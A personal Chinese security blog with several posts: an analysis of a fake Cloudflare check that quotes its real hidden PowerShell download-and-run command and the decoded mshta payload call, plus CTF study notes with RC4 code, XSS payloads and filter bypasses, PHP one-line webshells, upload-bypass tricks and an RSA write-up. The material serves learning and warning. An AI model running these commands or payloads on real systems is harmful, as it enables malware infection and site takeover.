Hel1um17's Blog

【网络安全】记一次研究假Cloudflare的过程

Sat, 14 Jun 2025 00:00:00 GMT

前言

从B站上看到有人叫骗了，网站pump.fun.ong，就来凑个热闹

研究

访问网站发现有Cloudflare的防火墙，但是竟然让我Win+R，Ctrl+V，Enter ？
这是什么新的社工方式？

powershell.exe -WindowStyle Hidden -Command "$oip='pump.fun.ong'; $eip=iwr $oip; iex $eip" #  🔸 Cloudflare Unique Code: 49993797784757248066625515

问了问ChatGPT，搞了个命令给要执行的命令下载下来了

Invoke-WebRequest -Uri "http://pump.fun.ong" -OutFile "payload.txt"

打开payload.txt为

powershell -ec "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAG0AcwBoAHQAYQAuAGUAeABlACAAIgBoAHQAdABwAHMAOgAvAC8AbABpAG4AawB0AHIAZQBlAC4AbABhAC8AQQBwAHIAaQBsAFIAZQBkAEcAcgBhAHAAZQAuAHQAeAB0ACIA"

翻译一下，其实是执行

C:\Windows\System32\mshta.exe "https://linktree.la/AprilRedGrape.txt"

又给这个AprilTedGrape.txt下载下来了
具体内容感兴趣可以自己下载下来看看，我用沙盒执行了一下，许多内容都没有渲染出来，不知道先前的哥们是咋叫骗得

后记

虽说研究到一半就停止了，但收获了很多知识
不过话说真的有人信这个执行命令的Cloudflare吗？

【CTF笔记】RC4加密

Sun, 04 May 2025 00:00:00 GMT

一、原理

在密码学中，RC4（来自Rivest Cipher 4的缩写）是一种流加密算法，密钥长度可变。它加解密使用相同的密钥，因此也属于对称加密算法。
RC4算法的原理很简单，包括初始化算法（KSA）和伪随机子密码生成算法（PRGA）两大部分。

1、初始化算

假设S-box的长度为256，密钥长度为Len，在初始化的过程中，密钥的主要功能是将S-box搅乱。

void rc4_init(unsigned char*s,unsigned char*key, unsigned long Len)
{
    int i=0,j=0;
    unsigned char tmp=0;
    for(i=0;i<256;i++) {
        s[i]=i;
        k[i]=key[i%Len];
    }
    for(i=0;i<256;i++) {
        j=(j+s[i]+k[i])%256;
        tmp=s[i];
        s[i]=s[j];
        s[j]=tmp;
    }
}

2、加解密

void rc4_crypt(unsigned char*s,unsigned char*Data,unsigned long Len)
{
    int i=0,j=0,t=0;
    unsigned long k=0;
    unsigned char tmp;
    for(k=0;k<Len;k++)
    {
        i=(i+1)%256;
        j=(j+s[i])%256;
        tmp=s[i];
        s[i]=s[j];
        s[j]=tmp;
        t=(s[i]+s[j])%256;
        Data[k]^=s[t];
    }
}

i确保S-box的每个元素都得到处理，j保证S-box的搅乱是随机的。而不同的S-box在经过伪随机子密码生成算法的处理后可以得到不同的子密钥序列，将S-box和明文进行xor运算，得到密文，解密过程也完全相同。

二、代码

#include <stdio.h>
#include <string.h>

void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len) {
    int i = 0, j = 0;
    unsigned char k[256] = {0};
    unsigned char tmp = 0;

    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len];
    }

    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) {
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;

    for (k = 0; k < Len; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

void print_hex(unsigned char *data, unsigned long len) {
    for (unsigned long i = 0; i < len; i++) {
        printf("%02X ", data[i]);  // 打印为十六进制
    }
    printf("\n");
}

int main() {
    unsigned char s[256] = {0};
    unsigned char key[] = "This is key";
    unsigned char Data[] = "This is plaintext or ciphertext";

    // 初始化 RC4 状态
    rc4_init(s, key, strlen((const char*)key));

    // 对数据进行加密或解密
    rc4_crypt(s, Data, strlen((const char*)Data));

    // 输出加密或解密后的结果
    printf("Encrypted/Decrypted data (in hex):\n");
    print_hex(Data, strlen((const char*)Data));

    return 0;
}

【CTF笔记】XSS漏洞

Tue, 11 Feb 2025 00:00:00 GMT

一、XSS漏洞分类

1、反射型（非持久型）

原理：服务器收到客户端请求时的参数，没有进行过滤，直接将参数用于构造HTML，以HTML的形式返回给浏览器，并在浏览器执行

2、存储型（持久型）

原理：XSS代码存储在服务器中，当受害者访问URL时，XSS代码被嵌入到HTML中，返回给浏览器，并执行

3、DOM型

原理：客户端的JavaScript代码接受数据，没有进行过滤，构造HTML页面的DOM节点时，XSS代码被执行

注意，反射型和DOM型有一下区别：

a、触发流程不同

反射型

流程：
用户输入 → 发送到服务器 → 服务器返回含输入的页面 → 浏览器执行恶意代码
- 恶意代码直接嵌入在HTTP响应中（如URL参数被服务器返回）。
- 需要用户点击一个构造的恶意链接（如钓鱼链接）。

DOM型

流程：
用户输入 → 浏览器前端处理（不经过服务器） → 直接修改DOM → 触发漏洞
- 恶意代码完全在客户端通过JavaScript动态操作DOM生成。
- 服务器响应中看不到恶意代码（查看网页源码时可能无异常）。

b、数据来源与处理位置

特征	反射型XSS	DOM型XSS
数据来源	URL参数、POST数据等	URL参数
数据处理位置	服务器端拼接并返回HTML	客户端JavaScript操作DOM
是否依赖服务器响应	是（漏洞在服务端未过滤）	否（漏洞在客户端JS逻辑）

二、XSS漏洞利用代码

1、常见验证代码

//弹框，最常用
<script>alert(/xss/)</script>
//弹出确认框
<script>confirm('xss')</script>
//弹出输入框
<script>prompt('xss')</script>

2、利用代码

a、构造请求

GET：创建Image对象，其src属性为目标URL

<img src='example.com'>

POST：如下

var xhr = new XMLHttpRequest();
var url = "https://example.com";
//参数，根据需要调整
var params = "a=a&b=b";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
//发送POST请求
xhr.send(params);

b、结合BeEF

安装及使用链接：BeEF wiki

c、恶意跳转

<script>window.location.href="http://www.baidu.com";</script>

三、WAF绕过

1、大小写

当只过滤了 script 时，可以通过变换大小写绕过

2、双写过滤的字符

当只对特定字符替换为空一遍时，可以通过双写绕过
如替换 script 为空时，可以写成 scrscriptipt ，过滤为空后为 script

3、写在其他标签中

如：

<img src="xxx" onerror="alert('1')">
<audio src=x onerror=alert(1)>
<audio src=x onerror=prompt(1);>
<audio src=# href=# onerror=javascript:alert(1)></audio>
<video src=x onerror=prompt(123)>
<video src=x onerror=alert(123)>
<button onfocus=alert(1) autofocus>
<button onclick=alert(1234)>xxx</button>
<a onmouseover="alert('1')">xxx</a>
<div onmouseover="alert('1')">xxx</div>
<svg onload="alert(1)">
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

4、在其中加入其他特殊字符

如：！ @ # ￥ % …… & * （） ! @ # $ % ^ & * ( ) / \ | 等

5、其他

详见：链接

【CTF笔记】文件上传漏洞

Fri, 07 Feb 2025 00:00:00 GMT

一、后门代码

1、一句话后门

<?php @eval($_get['cmd']); ?>
<?php @eval($_request['cmd']);?>
<script language="php">@eval($_post['cmd']);</script>

注意，在PHP中配置 short_open_tag=on 时，图片中不能含有 <? ，有会影响PHP代码的解析，导致图片马解析错误

2、其他后门代码

后门代码变形：WebShell变形哥斯拉WebShell免杀：Github链接

注： assert() 函数在高版本好像不能直接用，详见：PHP手册

二次渲染生成图片马（如upload-labs16关）见：二次渲染

二、WAF绕过

1、允许的后缀名测试

使用 BurpSuite 中的 Intruder 爆破可行的后缀名，包括大小写等

字典见：字典

2、更改数据包内容

a、Content-Type

更改Content-Type为图片等，常见的见：MIME类型

b、文件头

更改文件头实现绕过，常用的文件头见：文件头

c、加入特殊字符

如：

空格
.
::$data
//注意，以下两个的区别为get方式会自动解码，而post不会，所以需要自己编码后再发送
%00
0x00
0x0a

注意，可以使用双写某些字符实现对单次过滤的绕过

d、更改保存路径

当可以更改保存名称时，可以更改保存名称为 WebShell.php/.

当通过数组截取后缀名来判断时，可以使用

save_name[0]=WebShell.php/
//具体索引由代码审计中来
save_name[2]=png

原理见：upload-labs21

e、其他

其他中的方法来自小迪师傅，因脑洞太大此处不好描述，

视频见：小迪安全

在数据包中增加垃圾数据，在数据包大小超过某一限制时，从而直接放行

在数据包文件名处更改**filename="WebShell.php"**的形式为：

filename=x.php
filename="x.php
filename='x.php
filename="a.jpg;.php";
filename="x.php%00.jpg"
filename="Content-Disposition: form-data;name="upload_file";x.php
//先看以哪个为准，之后在为准的那个改为php后缀
filename="a.jpg";filename="b.jpg";filename="c.jpg"

3、上传某些配置文件

a、上传Apache下的 .htaccess 文件

上传 .htaccess 实现让PHP解析WebShell.png为php文件等操作

.htaccess 的内容我就不放了，百度即可（其实我试了半天愣是不行 /_ \ ）

b、.user.ini

上传 .user.ini 文件，其中配置

//在前面插入WebShell.png
auto_prepend_file=WebShell.png
//在后面插入WebShell.png
auto_append_file=WebShell.png

实现对此目录下的PHP文件，插入到正常PHP文件中并以PHP解析WebShell.png

4、其他方法

a、条件竞争

适用于先上传再判断合规与否的情况一个 Intruder 负责发包，使文件上传，另一个 Intruder 负责访问，负责访问PHP代码，使其执行将WebShell写到目录中

<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>');?>

b、常见中间件解析漏洞

Apache换行解析漏洞等，详见：PDF资料

c、文件包含漏洞

配合文件包含漏洞，解析图片马

【图片马的踩坑】PHP报错Unexpected character in input的解决

Wed, 05 Feb 2025 00:00:00 GMT

问题

环境：phpstudy搭建的 Apache2.4.39 + PHP7.3.4 ，配置文件均为默认

在upload-labs练习中，传了一个图片马，但是蚁剑死活连不上，PHP还报错说

Warning: Unexpected character in input: '' (ASCII=28) state=0 in C:\Users\Hel1um17\Codes\localhost\index.php on line 144
Parse error: in C:\Users\Hel1um17\Codes\localhost\index.php on line 144
//为了方便起见，index.php为我的图片马，此时为后来我自己测试
//实际情况是，用了auto_prepend_file将图片包含在readme.php中，蚁剑连接readme.php

解决

对比报错的每一行发现发现，每行都含有若干个 <? 将其删去后蚁剑可以正常连接

疑问

但平时看师傅们的视频也没有说特意将 <? 去掉

只是直接在文件末尾加上了后门代码，也可以连接成功

有没有懂的师傅可以解答一下？（已解决）

后记

我后来去Stack Overflow问了这个问题

C3roe 大佬说在 php.ini 中设置了 short_open_tag=On 时会把 <? 当成PHP代码的开头从而开始解析。我将 short_open_tag 设置为了 OFF 就没有报错了

不过我那英语可能没表述清楚，让几个人投了不适合回答，我就把问题删了＞﹏＜，不过还是感谢歪果仁

【CTF比赛】2024青少年强网杯WP

Sun, 24 Nov 2024 00:00:00 GMT

一、战队信息

战队名称：就来看看题战队排名：87

二、解题情况

三、解题过程

1、签到漫画

操作内容：四个漫画每个翻到最后一页，每页有四分之一的二维码，用ppt（不会用其他软件·＞﹏＜）把图拼一下，使用在线扫描，url后面即为flag

扫描结果： http://weixin.qq.com/r/4BIrMz7ES2M0rXpQ90fy?flag{youthful_and_upward}

flag值： flag{youthful_and_upward}

2、whitepic

操作内容：使用010editor发现是个gif文件，扔到https://ezgif.com/maker（这网站还是在文件里的create by找到的）里发现第二张就是flag

flag值： flag{passion_is_the_greatest_teacher}

4、问卷

操作内容：填写完调查问卷即可https://www.wenjuan.com/s/UZBZJvmmIG/

flag值： flag{thank_you_for_your_support}

5、Classics

操作内容：下载后发现是CyberChef的样子，使用CyberChef照着那几个编码弄上去，但是改成decode 发现不对，改了改rot13的amount，解出来了（本来上午用ciphey就跑出来了，结果上午跑出来了，下午死活卡死，顶不住啊，用CyberChef再弄了一遍＞﹏＜ )

flag值： flag{2834d185-a1da-4fb1-8bac-59076eb6a634}

6、AliceAES

题目翻译： AES 加密示例你是 Alice，你和 Bob共享相同的key和iv值。你的任务是向鲍勃发送一条消息：你好，鲍勃！使用CBC模式的 AES 加密消息，并以HEX格式与 Bob 共享加密结果。

操作内容：直接用key和vi值，找一个aes加密的网站，加密即可

flag值： flag{41865c5e-f20f-44b1-85a4-844a4578ead0}

7、easymath

操作内容：先枚举一下前几个，发现有规律

from Crypto.Util.number import *
from gmpy2 import next_prime
for l in range(1,100):
    key=0
    for k in range(2**(l-1),2**l):
        s=bin(k)[2:]
        if(k%2==1 and '1111' not in s and '0000' not in s):
            key+=1
print(f"当l为{l}时，key为{key}")
#输出
#当l为1时，key为1
#当l为2时，key为1   
#当l为3时，key为2   
#当l为4时，key为3   
#当l为5时，key为7   
#当l为6时，key为12  
#当l为7时，key为22  
#当l为8时，key为40  
#当l为9时，key为75  
#当l为10时，key为137
#当l为11时，key为252
#当l为12时，key为463
#当l为13时，key为853
#当l为14时，key为1568
#当l为15时，key为2884

会发现，从第四个开始，四组一循环，第一个为前三个之和减一，第二个为前三项之和加一，第三四项都是前三项之和所以，算一下第l=2331时的key值即可

from Crypto.Util.number import *
from gmpy2 import next_prime
def calculate_key(l):
    # 初始的前三个key
    keys = [1, 1, 2]  
    for i in range(4, l + 1):
        if i % 4 == 0:  # 第一组，key = 前3个key之和 - 1
            new_key = sum(keys[-3:]) - 1
        elif (i - 1) % 4 == 0:  # 第二组，key = 前3个key之和 + 1
            new_key = sum(keys[-3:]) + 1
        else:  # 第三组和第四组，key = 前3个key之和
            new_key = sum(keys[-3:])
        keys.append(new_key)
    return keys[-1]  # 返回第l个key
l = 2331
key_at_l = calculate_key(l)
print(f"l={l}时的key是: {key_at_l}")
n=739243847275389709472067387827484120222494013590074140985399787562594529286597003777105115865446795908819036678700460141950875653695331369163361757157565377531721748744087900881582744902312177979298217791686598853486325684322963787498115587802274229739619528838187967527241366076438154697056550549800691528794136318856475884632511630403822825738299776018390079577728412776535367041632122565639036104271672497418509514781304810585503673226324238396489752427801699815592314894581630994590796084123504542794857800330419850716997654738103615725794629029775421170515512063019994761051891597378859698320651083189969905297963140966329378723373071590797203169830069428503544761584694131795243115146000564792100471259594488081571644541077283644666700962953460073953965250264401973080467760912924607461783312953419038084626809675807995463244073984979942740289741147504741715039830341488696960977502423702097709564068478477284161645957293908613935974036643029971491102157321238525596348807395784120585247899369773609341654908807803007460425271832839341595078200327677265778582728994058920387721181708105894076110057858324994417035004076234418186156340413169154344814582980205732305163274822509982340820301144418789572738830713925750250925049059
key=key_at_l
p=next_prime(key)
print("---")
print(p)
print("---")
# 直接使用"/"会报错，所以用"//"，再算一下p*q是否等于n
q=n//p
print(q)
print(p*q==n)
#输出
#l=2331时的key是: #24440283427735860782323152407294917357529111353275570975703531438440519660225708967888657253644278000783263820558388701592370615088140947096898134081330591301984360290318641970617489021626752360815885812583176251873031239638493762071047588297627032203293985708994218852662838640238623254740905447146670999830187552717802257362427107073858485019955606331947972091793616373347825119600328855885246072890798551616534636247023983959037046475229361825549780845049341719145179099452625523855259198581865855234803188298849910863377098140158406245399677912502444220011884063994451182221171275547685147549629637310805120815512
#---
#24440283427735860782323152407294917357529111353275570975703531438440519660225708967888657253644278000783263820558388701592370615088140947096898134081330591301984360290318641970617489021626752360815885812583176251873031239638493762071047588297627032203293985708994218852662838640238623254740905447146670999830187552717802257362427107073858485019955606331947972091793616373347825119600328855885246072890798551616534636247023983959037046475229361825549780845049341719145179099452625523855259198581865855234803188298849910863377098140158406245399677912502444220011884063994451182221171275547685147549629637310805120817903
#---
#30246942489892106712702239024133721453592842183923733460515110118344404699532017493383428137697227815754741688919151294652492006534840589468962295623069884232619077280815851563195685517196295248643553001644121714958636538938848623892827992267767358030468030240236589927767000556188518269847757669474128501561192367465343050094302650720121351543751423298130335191141395620744634566228434135430114855211983270131333333081108536699301711234514426855659414263828163630092200163488598896179597996128556748173083374014319100056717308084410389660477779719495877439609162161870536882293104016630319703274657500915447940613453
#True

验证发现就是所求的p，q，之后使用加密原理，算逆元d，以求解flag

from Crypto.Util.number import *
from gmpy2 import invert
p=24440283427735860782323152407294917357529111353275570975703531438440519660225708967888657253644278000783263820558388701592370615088140947096898134081330591301984360290318641970617489021626752360815885812583176251873031239638493762071047588297627032203293985708994218852662838640238623254740905447146670999830187552717802257362427107073858485019955606331947972091793616373347825119600328855885246072890798551616534636247023983959037046475229361825549780845049341719145179099452625523855259198581865855234803188298849910863377098140158406245399677912502444220011884063994451182221171275547685147549629637310805120817903
q=30246942489892106712702239024133721453592842183923733460515110118344404699532017493383428137697227815754741688919151294652492006534840589468962295623069884232619077280815851563195685517196295248643553001644121714958636538938848623892827992267767358030468030240236589927767000556188518269847757669474128501561192367465343050094302650720121351543751423298130335191141395620744634566228434135430114855211983270131333333081108536699301711234514426855659414263828163630092200163488598896179597996128556748173083374014319100056717308084410389660477779719495877439609162161870536882293104016630319703274657500915447940613453
e=65537
c=229043746793674889024653533006701296308351926745769842802636384094759379740300534278302123222014817911580006421847607123049816103885365851535481716236688330600113899345346872012870482410945158758991441294885546642304012025685141746649427132063040233448959783730507539964445711789203948478927754968414484217451929590364252823034436736148936707526491427134910817676292865910899256335978084133885301776638189969716684447886272526371596438362601308765248327164568010211340540749408337495125393161427493827866434814073414211359223724290251545324578501542643767456072748245099538268121741616645942503700796441269556575769250208333551820150640236503765376932896479238435739865805059908532831741588166990610406781319538995712584992928490839557809170189205452152534029118700150959965267557712569942462430810977059565077290952031751528357957124339169562549386600024298334407498257172578971559253328179357443841427429904013090062097483222125930742322794450873759719977981171221926439985786944884991660612824458339473263174969955453188212116242701330480313264281033623774772556593174438510101491596667187356827935296256470338269472769781778576964130967761897357847487612475534606977433259616857569013270917400687539344772924214733633652812119743
n = p * q
phi_n = (p - 1) * (q - 1)
d = invert(e, phi_n)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag.decode())
#输出
#flag{77310934-21fa-4ee4-a783-dc1865ebab28}

flag值： flag{77310934-21fa-4ee4-a783-dc1865ebab28}

12、ezGetFlag

操作内容：多点几次提示要用post 于是就听劝，将方法改为post

flag值： flag{1aae46ab-3407-469f-955a-f3729a8e13ff}

四、总结

虽然说成绩只是87名，后来公众号公布的76名，但是对于初出茅庐的我来说已经很高兴了，希望以后能在CTF的路上走的更远加油！ d=====(￣▽￣*)b